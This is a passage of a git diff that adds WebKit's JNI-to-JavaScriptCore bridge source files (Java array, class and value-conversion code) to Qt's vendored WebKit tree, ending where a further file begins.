+    if (m_type[1] == 'L') {
+        // The type of the array will be something like:
+        // "[Ljava.lang.string;".  This is guaranteed, so no need
+        // for extra sanity checks.
+        javaClassName = strdup(&m_type[2]);
+        javaClassName[strchr(javaClassName, ';')-javaClassName] = 0;
+    }
+    jvalue aJValue = convertValueToJValue(exec, m_rootObject.get(), aValue, arrayType, javaClassName);
+
+    switch (arrayType) {
+    case object_type:
+        {
+            env->SetObjectArrayElement(static_cast<jobjectArray>(javaArray()), index, aJValue.l);
+            break;
+        }
+
+    case boolean_type:
+        {
+            env->SetBooleanArrayRegion(static_cast<jbooleanArray>(javaArray()), index, 1, &aJValue.z);
+            break;
+        }
+
+    case byte_type:
+        {
+            env->SetByteArrayRegion(static_cast<jbyteArray>(javaArray()), index, 1, &aJValue.b);
+            break;
+        }
+
+    case char_type:
+        {
+            env->SetCharArrayRegion(static_cast<jcharArray>(javaArray()), index, 1, &aJValue.c);
+            break;
+        }
+
+    case short_type:
+        {
+            env->SetShortArrayRegion(static_cast<jshortArray>(javaArray()), index, 1, &aJValue.s);
+            break;
+        }
+
+    case int_type:
+        {
+            env->SetIntArrayRegion(static_cast<jintArray>(javaArray()), index, 1, &aJValue.i);
+            break;
+        }
+
+    case long_type:
+        {
+            env->SetLongArrayRegion(static_cast<jlongArray>(javaArray()), index, 1, &aJValue.j);
+        }
+
+    case float_type:
+        {
+            env->SetFloatArrayRegion(static_cast<jfloatArray>(javaArray()), index, 1, &aJValue.f);
+            break;
+        }
+
+    case double_type:
+        {
+            env->SetDoubleArrayRegion(static_cast<jdoubleArray>(javaArray()), index, 1, &aJValue.d);
+            break;
+        }
+    default:
+        break;
+    }
+
+    if (javaClassName)
+        free(const_cast<char*>(javaClassName));
+}
+
+
+JSValue JavaArray::valueAt(ExecState* exec, unsigned index) const
+{
+    JNIEnv* env = getJNIEnv();
+    JNIType arrayType = JNITypeFromPrimitiveType(m_type[1]);
+    switch (arrayType) {
+    case object_type:
+        {
+            jobjectArray objectArray = static_cast<jobjectArray>(javaArray());
+            jobject anObject;
+            anObject = env->GetObjectArrayElement(objectArray, index);
+
+            // No object?
+            if (!anObject)
+                return jsNull();
+
+            // Nested array?
+            if (m_type[1] == '[')
+                return JavaArray::convertJObjectToArray(exec, anObject, m_type + 1, rootObject());
+            // or array of other object type?
+            return JavaInstance::create(anObject, rootObject())->createRuntimeObject(exec);
+        }
+
+    case boolean_type:
+        {
+            jbooleanArray booleanArray = static_cast<jbooleanArray>(javaArray());
+            jboolean aBoolean;
+            env->GetBooleanArrayRegion(booleanArray, index, 1, &aBoolean);
+            return jsBoolean(aBoolean);
+        }
+
+    case byte_type:
+        {
+            jbyteArray byteArray = static_cast<jbyteArray>(javaArray());
+            jbyte aByte;
+            env->GetByteArrayRegion(byteArray, index, 1, &aByte);
+            return jsNumber(exec, aByte);
+        }
+
+    case char_type:
+        {
+            jcharArray charArray = static_cast<jcharArray>(javaArray());
+            jchar aChar;
+            env->GetCharArrayRegion(charArray, index, 1, &aChar);
+            return jsNumber(exec, aChar);
+            break;
+        }
+
+    case short_type:
+        {
+            jshortArray shortArray = static_cast<jshortArray>(javaArray());
+            jshort aShort;
+            env->GetShortArrayRegion(shortArray, index, 1, &aShort);
+            return jsNumber(exec, aShort);
+        }
+
+    case int_type:
+        {
+            jintArray intArray = static_cast<jintArray>(javaArray());
+            jint anInt;
+            env->GetIntArrayRegion(intArray, index, 1, &anInt);
+            return jsNumber(exec, anInt);
+        }
+
+    case long_type:
+        {
+            jlongArray longArray = static_cast<jlongArray>(javaArray());
+            jlong aLong;
+            env->GetLongArrayRegion(longArray, index, 1, &aLong);
+            return jsNumber(exec, aLong);
+        }
+
+    case float_type:
+        {
+            jfloatArray floatArray = static_cast<jfloatArray>(javaArray());
+            jfloat aFloat;
+            env->GetFloatArrayRegion(floatArray, index, 1, &aFloat);
+            return jsNumber(exec, aFloat);
+        }
+
+    case double_type:
+        {
+            jdoubleArray doubleArray = static_cast<jdoubleArray>(javaArray());
+            jdouble aDouble;
+            env->GetDoubleArrayRegion(doubleArray, index, 1, &aDouble);
+            return jsNumber(exec, aDouble);
+        }
+    default:
+        break;
+    }
+    return jsUndefined();
+}
+
+unsigned int JavaArray::getLength() const
+{
+    return m_length;
+}
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIBridgeJSC.h b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIBridgeJSC.h
new file mode 100644
index 0000000..902bd4e
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIBridgeJSC.h
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2003, 2004, 2005, 2007, 2009, 2010 Apple Inc. All rights reserved.
+ * Copyright 2010, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JNIBridgeJSC_h
+#define JNIBridgeJSC_h
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "Bridge.h"
+#include "JNIBridge.h"
+#include <JavaVM/jni.h>
+
+namespace JSC {
+
+namespace Bindings {
+
+class JavaField : public Field {
+public:
+    JavaField(JNIEnv*, jobject aField);
+
+    virtual JSValue valueFromInstance(ExecState*, const Instance*) const;
+    virtual void setValueToInstance(ExecState*, const Instance*, JSValue) const;
+
+    const JavaString& name() const { return m_name; }
+    virtual RuntimeType type() const { return m_type.UTF8String(); }
+
+    JNIType getJNIType() const { return m_JNIType; }
+
+private:
+    void dispatchSetValueToInstance(ExecState*, const JavaInstance*, jvalue, const char* name, const char* sig) const;
+    jvalue dispatchValueFromInstance(ExecState*, const JavaInstance*, const char* name, const char* sig, JNIType returnType) const;
+
+    JavaString m_name;
+    JavaString m_type;
+    JNIType m_JNIType;
+    RefPtr<JObjectWrapper> m_field;
+};
+
+class JavaArray : public Array {
+public:
+    JavaArray(jobject array, const char* type, PassRefPtr<RootObject>);
+    virtual ~JavaArray();
+
+    RootObject* rootObject() const;
+
+    virtual void setValueAt(ExecState*, unsigned int index, JSValue) const;
+    virtual JSValue valueAt(ExecState*, unsigned int index) const;
+    virtual unsigned int getLength() const;
+
+    jobject javaArray() const { return m_array->m_instance; }
+
+    static JSValue convertJObjectToArray(ExecState*, jobject, const char* type, PassRefPtr<RootObject>);
+
+private:
+    RefPtr<JObjectWrapper> m_array;
+    unsigned int m_length;
+    const char* m_type;
+};
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
+
+#endif // JNIBridge_h
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIUtilityPrivate.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIUtilityPrivate.cpp
new file mode 100644
index 0000000..4702d12
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIUtilityPrivate.cpp
@@ -0,0 +1,316 @@
+/*
+ * Copyright (C) 2003, 2010 Apple, Inc.  All rights reserved.
+ * Copyright 2009, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JNIUtilityPrivate.h"
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "JavaRuntimeObject.h"
+#include "JNIBridgeJSC.h"
+#include "runtime_array.h"
+#include "runtime_object.h"
+#include <runtime/JSArray.h>
+#include <runtime/JSLock.h>
+
+namespace JSC {
+
+namespace Bindings {
+
+static jobject convertArrayInstanceToJavaArray(ExecState* exec, JSArray* jsArray, const char* javaClassName)
+{
+    JNIEnv* env = getJNIEnv();
+    // As JS Arrays can contain a mixture of objects, assume we can convert to
+    // the requested Java Array type requested, unless the array type is some object array
+    // other than a string.
+    unsigned length = jsArray->length();
+    jobjectArray jarray = 0;
+
+    // Build the correct array type
+    switch (JNITypeFromPrimitiveType(javaClassName[1])) {
+    case object_type:
+            {
+            // Only support string object types
+            if (!strcmp("[Ljava.lang.String;", javaClassName)) {
+                jarray = (jobjectArray)env->NewObjectArray(length,
+                    env->FindClass("java/lang/String"),
+                    env->NewStringUTF(""));
+                for (unsigned i = 0; i < length; i++) {
+                    JSValue item = jsArray->get(exec, i);
+                    UString stringValue = item.toString(exec);
+                    env->SetObjectArrayElement(jarray, i,
+                        env->functions->NewString(env, (const jchar *)stringValue.data(), stringValue.size()));
+                }
+            }
+            break;
+        }
+
+    case boolean_type:
+        {
+            jarray = (jobjectArray)env->NewBooleanArray(length);
+            for (unsigned i = 0; i < length; i++) {
+                JSValue item = jsArray->get(exec, i);
+                jboolean value = (jboolean)item.toNumber(exec);
+                env->SetBooleanArrayRegion((jbooleanArray)jarray, (jsize)i, (jsize)1, &value);
+            }
+            break;
+        }
+
+    case byte_type:
+        {
+            jarray = (jobjectArray)env->NewByteArray(length);
+            for (unsigned i = 0; i < length; i++) {
+                JSValue item = jsArray->get(exec, i);
+                jbyte value = (jbyte)item.toNumber(exec);
+                env->SetByteArrayRegion((jbyteArray)jarray, (jsize)i, (jsize)1, &value);
+            }
+            break;
+        }
+
+    case char_type:
+        {
+            jarray = (jobjectArray)env->NewCharArray(length);
+            for (unsigned i = 0; i < length; i++) {
+                JSValue item = jsArray->get(exec, i);
+                UString stringValue = item.toString(exec);
+                jchar value = 0;
+                if (stringValue.size() > 0)
+                    value = ((const jchar*)stringValue.data())[0];
+                env->SetCharArrayRegion((jcharArray)jarray, (jsize)i, (jsize)1, &value);
+            }
+            break;
+        }
+
+    case short_type:
+        {
+            jarray = (jobjectArray)env->NewShortArray(length);
+            for (unsigned i = 0; i < length; i++) {
+                JSValue item = jsArray->get(exec, i);
+                jshort value = (jshort)item.toNumber(exec);
+                env->SetShortArrayRegion((jshortArray)jarray, (jsize)i, (jsize)1, &value);
+            }
+            break;
+        }
+
+    case int_type:
+        {
+            jarray = (jobjectArray)env->NewIntArray(length);
+            for (unsigned i = 0; i < length; i++) {
+                JSValue item = jsArray->get(exec, i);
+                jint value = (jint)item.toNumber(exec);
+                env->SetIntArrayRegion((jintArray)jarray, (jsize)i, (jsize)1, &value);
+            }
+            break;
+        }
+
+    case long_type:
+        {
+            jarray = (jobjectArray)env->NewLongArray(length);
+            for (unsigned i = 0; i < length; i++) {
+                JSValue item = jsArray->get(exec, i);
+                jlong value = (jlong)item.toNumber(exec);
+                env->SetLongArrayRegion((jlongArray)jarray, (jsize)i, (jsize)1, &value);
+            }
+            break;
+        }
+
+    case float_type:
+        {
+            jarray = (jobjectArray)env->NewFloatArray(length);
+            for (unsigned i = 0; i < length; i++) {
+                JSValue item = jsArray->get(exec, i);
+                jfloat value = (jfloat)item.toNumber(exec);
+                env->SetFloatArrayRegion((jfloatArray)jarray, (jsize)i, (jsize)1, &value);
+            }
+            break;
+        }
+
+    case double_type:
+        {
+            jarray = (jobjectArray)env->NewDoubleArray(length);
+            for (unsigned i = 0; i < length; i++) {
+                JSValue item = jsArray->get(exec, i);
+                jdouble value = (jdouble)item.toNumber(exec);
+                env->SetDoubleArrayRegion((jdoubleArray)jarray, (jsize)i, (jsize)1, &value);
+            }
+            break;
+        }
+
+    case array_type: // don't handle embedded arrays
+    case void_type: // Don't expect arrays of void objects
+    case invalid_type: // Array of unknown objects
+        break;
+    }
+
+    // if it was not one of the cases handled, then null is returned
+    return jarray;
+}
+
+jvalue convertValueToJValue(ExecState* exec, RootObject* rootObject, JSValue value, JNIType jniType, const char* javaClassName)
+{
+    JSLock lock(SilenceAssertionsOnly);
+
+    jvalue result;
+    memset(&result, 0, sizeof(jvalue));
+
+    switch (jniType) {
+    case array_type:
+    case object_type:
+        {
+            // FIXME: JavaJSObject::convertValueToJObject functionality is almost exactly the same,
+            // these functions should use common code.
+
+            if (value.isObject()) {
+                JSObject* object = asObject(value);
+                if (object->inherits(&JavaRuntimeObject::s_info)) {
+                    // Unwrap a Java instance.
+                    JavaRuntimeObject* runtimeObject = static_cast<JavaRuntimeObject*>(object);
+                    JavaInstance* instance = runtimeObject->getInternalJavaInstance();
+                    if (instance)
+                        result.l = instance->javaInstance();
+                } else if (object->classInfo() == &RuntimeArray::s_info) {
+                    // Input is a JavaScript Array that was originally created from a Java Array
+                    RuntimeArray* imp = static_cast<RuntimeArray*>(object);
+                    JavaArray* array = static_cast<JavaArray*>(imp->getConcreteArray());
+                    result.l = array->javaArray();
+                } else if (object->classInfo() == &JSArray::info) {
+                    // Input is a Javascript Array. We need to create it to a Java Array.
+                    result.l = convertArrayInstanceToJavaArray(exec, asArray(value), javaClassName);
+                } else if (!result.l && (!strcmp(javaClassName, "java.lang.Object")) || (!strcmp(javaClassName, "netscape.javascript.JSObject"))) {
+                    // Wrap objects in JSObject instances.
+                    JNIEnv* env = getJNIEnv();
+                    jclass jsObjectClass = env->FindClass("sun/plugin/javascript/webkit/JSObject");
+                    jmethodID constructorID = env->GetMethodID(jsObjectClass, "<init>", "(J)V");
+                    if (constructorID) {
+                        jlong nativeHandle = ptr_to_jlong(object);
+                        rootObject->gcProtect(object);
+                        result.l = env->NewObject(jsObjectClass, constructorID, nativeHandle);
+                    }
+                }
+            }
+
+            // Create an appropriate Java object if target type is java.lang.Object.
+            if (!result.l && !strcmp(javaClassName, "java.lang.Object")) {
+                if (value.isString()) {
+                    UString stringValue = asString(value)->value(exec);
+                    JNIEnv* env = getJNIEnv();
+                    jobject javaString = env->functions->NewString(env, (const jchar*)stringValue.data(), stringValue.size());
+                    result.l = javaString;
+                } else if (value.isNumber()) {
+                    double doubleValue = value.uncheckedGetNumber();
+                    JNIEnv* env = getJNIEnv();
+                    jclass clazz = env->FindClass("java/lang/Double");
+                    jmethodID constructor = env->GetMethodID(clazz, "<init>", "(D)V");
+                    jobject javaDouble = env->functions->NewObject(env, clazz, constructor, doubleValue);
+                    result.l = javaDouble;
+                } else if (value.isBoolean()) {
+                    bool boolValue = value.getBoolean();
+                    JNIEnv* env = getJNIEnv();
+                    jclass clazz = env->FindClass("java/lang/Boolean");
+                    jmethodID constructor = env->GetMethodID(clazz, "<init>", "(Z)V");
+                    jobject javaBoolean = env->functions->NewObject(env, clazz, constructor, boolValue);
+                    result.l = javaBoolean;
+                } else if (value.isUndefined()) {
+                    UString stringValue = "undefined";
+                    JNIEnv* env = getJNIEnv();
+                    jobject javaString = env->functions->NewString(env, (const jchar*)stringValue.data(), stringValue.size());
+                    result.l = javaString;
+                }
+            }
+
+            // Convert value to a string if the target type is a java.lang.String, and we're not
+            // converting from a null.
+            if (!result.l && !strcmp(javaClassName, "java.lang.String")) {
+                if (!value.isNull()) {
+                    UString stringValue = value.toString(exec);
+                    JNIEnv* env = getJNIEnv();
+                    jobject javaString = env->functions->NewString(env, (const jchar*)stringValue.data(), stringValue.size());
+                    result.l = javaString;
+                }
+            }
+        }
+        break;
+
+    case boolean_type:
+        {
+            result.z = (jboolean)value.toNumber(exec);
+        }
+        break;
+
+    case byte_type:
+        {
+            result.b = (jbyte)value.toNumber(exec);
+        }
+        break;
+
+    case char_type:
+        {
+            result.c = (jchar)value.toNumber(exec);
+        }
+        break;
+
+    case short_type:
+        {
+            result.s = (jshort)value.toNumber(exec);
+        }
+        break;
+
+    case int_type:
+        {
+            result.i = (jint)value.toNumber(exec);
+        }
+        break;
+
+    case long_type:
+        {
+            result.j = (jlong)value.toNumber(exec);
+        }
+        break;
+
+    case float_type:
+        {
+            result.f = (jfloat)value.toNumber(exec);
+        }
+        break;
+
+    case double_type:
+        {
+            result.d = (jdouble)value.toNumber(exec);
+        }
+        break;
+
+    case invalid_type:
+    case void_type:
+        break;
+    }
+    return result;
+}
+
+} // end of namespace Bindings
+
+} // end of namespace JSC
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIUtilityPrivate.h b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIUtilityPrivate.h
new file mode 100644
index 0000000..8d4652d
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIUtilityPrivate.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2003 Apple Computer, Inc.  All rights reserved.
+ * Copyright 2009, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JNIUtilityPrivate_h
+#define JNIUtilityPrivate_h
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "JNIUtility.h"
+#include <runtime/JSValue.h>
+
+namespace JSC {
+
+class ExecState;
+class JSObject;
+
+namespace Bindings {
+
+class RootObject;
+
+jvalue convertValueToJValue(ExecState*, RootObject*, JSValue, JNIType, const char* javaClassName);
+bool dispatchJNICall(ExecState*, const void* targetAppletView, jobject obj, bool isStatic, JNIType returnType, jmethodID methodID, jvalue* args, jvalue& result, const char* callingURL, JSValue& exceptionDescription);
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
+
+#endif // JNIUtilityPrivate_h
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaClassJSC.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaClassJSC.cpp
new file mode 100644
index 0000000..e1b8b4c
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaClassJSC.cpp
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JavaClassJSC.h"
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "JNIUtility.h"
+#include "JSDOMWindow.h"
+#include <runtime/Identifier.h>
+#include <runtime/JSLock.h>
+
+using namespace JSC::Bindings;
+
+JavaClass::JavaClass(jobject anInstance)
+{
+    jobject aClass = callJNIMethod<jobject>(anInstance, "getClass", "()Ljava/lang/Class;");
+
+    if (!aClass) {
+        LOG_ERROR("Unable to call getClass on instance %p", anInstance);
+        m_name = fastStrDup("<Unknown>");
+        return;
+    }
+
+    if (jstring className = (jstring)callJNIMethod<jobject>(aClass, "getName", "()Ljava/lang/String;")) {
+        const char* classNameC = getCharactersFromJString(className);
+        m_name = fastStrDup(classNameC);
+        releaseCharactersForJString(className, classNameC);
+    } else
+        m_name = fastStrDup("<Unknown>");
+
+    int i;
+    JNIEnv* env = getJNIEnv();
+
+    // Get the fields
+    if (jarray fields = (jarray)callJNIMethod<jobject>(aClass, "getFields", "()[Ljava/lang/reflect/Field;")) {
+        int numFields = env->GetArrayLength(fields);
+        for (i = 0; i < numFields; i++) {
+            jobject aJField = env->GetObjectArrayElement((jobjectArray)fields, i);
+            JavaField* aField = new JavaField(env, aJField); // deleted in the JavaClass destructor
+            {
+                JSLock lock(SilenceAssertionsOnly);
+                m_fields.set(((UString)aField->name()).rep(), aField);
+            }
+            env->DeleteLocalRef(aJField);
+        }
+        env->DeleteLocalRef(fields);
+    }
+
+    // Get the methods
+    if (jarray methods = (jarray)callJNIMethod<jobject>(aClass, "getMethods", "()[Ljava/lang/reflect/Method;")) {
+        int numMethods = env->GetArrayLength(methods);
+        for (i = 0; i < numMethods; i++) {
+            jobject aJMethod = env->GetObjectArrayElement((jobjectArray)methods, i);
+            JavaMethod* aMethod = new JavaMethod(env, aJMethod); // deleted in the JavaClass destructor
+            MethodList* methodList;
+            {
+                JSLock lock(SilenceAssertionsOnly);
+
+                methodList = m_methods.get(((UString)aMethod->name()).rep());
+                if (!methodList) {
+                    methodList = new MethodList();
+                    m_methods.set(((UString)aMethod->name()).rep(), methodList);
+                }
+            }
+            methodList->append(aMethod);
+            env->DeleteLocalRef(aJMethod);
+        }
+        env->DeleteLocalRef(methods);
+    }
+
+    env->DeleteLocalRef(aClass);
+}
+
+JavaClass::~JavaClass()
+{
+    fastFree(const_cast<char*>(m_name));
+
+    JSLock lock(SilenceAssertionsOnly);
+
+    deleteAllValues(m_fields);
+    m_fields.clear();
+
+    MethodListMap::const_iterator end = m_methods.end();
+    for (MethodListMap::const_iterator it = m_methods.begin(); it != end; ++it) {
+        const MethodList* methodList = it->second;
+        deleteAllValues(*methodList);
+        delete methodList;
+    }
+    m_methods.clear();
+}
+
+MethodList JavaClass::methodsNamed(const Identifier& identifier, Instance*) const
+{
+    MethodList* methodList = m_methods.get(identifier.ustring().rep());
+
+    if (methodList)
+        return *methodList;
+    return MethodList();
+}
+
+Field* JavaClass::fieldNamed(const Identifier& identifier, Instance*) const
+{
+    return m_fields.get(identifier.ustring().rep());
+}
+
+bool JavaClass::isNumberClass() const
+{
+    return (!strcmp(m_name, "java.lang.Byte")
+        || !strcmp(m_name, "java.lang.Short")
+        || !strcmp(m_name, "java.lang.Integer")
+        || !strcmp(m_name, "java.lang.Long")
+        || !strcmp(m_name, "java.lang.Float")
+        || !strcmp(m_name, "java.lang.Double"));
+}
+
+bool JavaClass::isBooleanClass() const
+{
+    return !strcmp(m_name, "java.lang.Boolean");
+}
+
+bool JavaClass::isStringClass() const
+{
+    return !strcmp(m_name, "java.lang.String");
+}
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaClassJSC.h b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaClassJSC.h
new file mode 100644
index 0000000..09b93e9
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaClassJSC.h
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2003, 2004, 2005, 2007, 2009, 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JavaClassJSC_h
+#define JavaClassJSC_h
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "JNIBridgeJSC.h"
+#include <wtf/HashMap.h>
+
+namespace JSC {
+
+namespace Bindings {
+
+class JavaClass : public Class {
+public:
+    JavaClass(jobject);
+    ~JavaClass();
+
+    virtual MethodList methodsNamed(const Identifier&, Instance*) const;
+    virtual Field* fieldNamed(const Identifier&, Instance*) const;
+
+    bool isNumberClass() const;
+    bool isBooleanClass() const;
+    bool isStringClass() const;
+
+private:
+    const char* m_name;
+    FieldMap m_fields;
+    MethodListMap m_methods;
+};
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
+
+#endif // JavaClassJSC_h
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaInstanceJSC.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaInstanceJSC.cpp
new file mode 100644
index 0000000..585b315
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaInstanceJSC.cpp
@@ -0,0 +1,381 @@
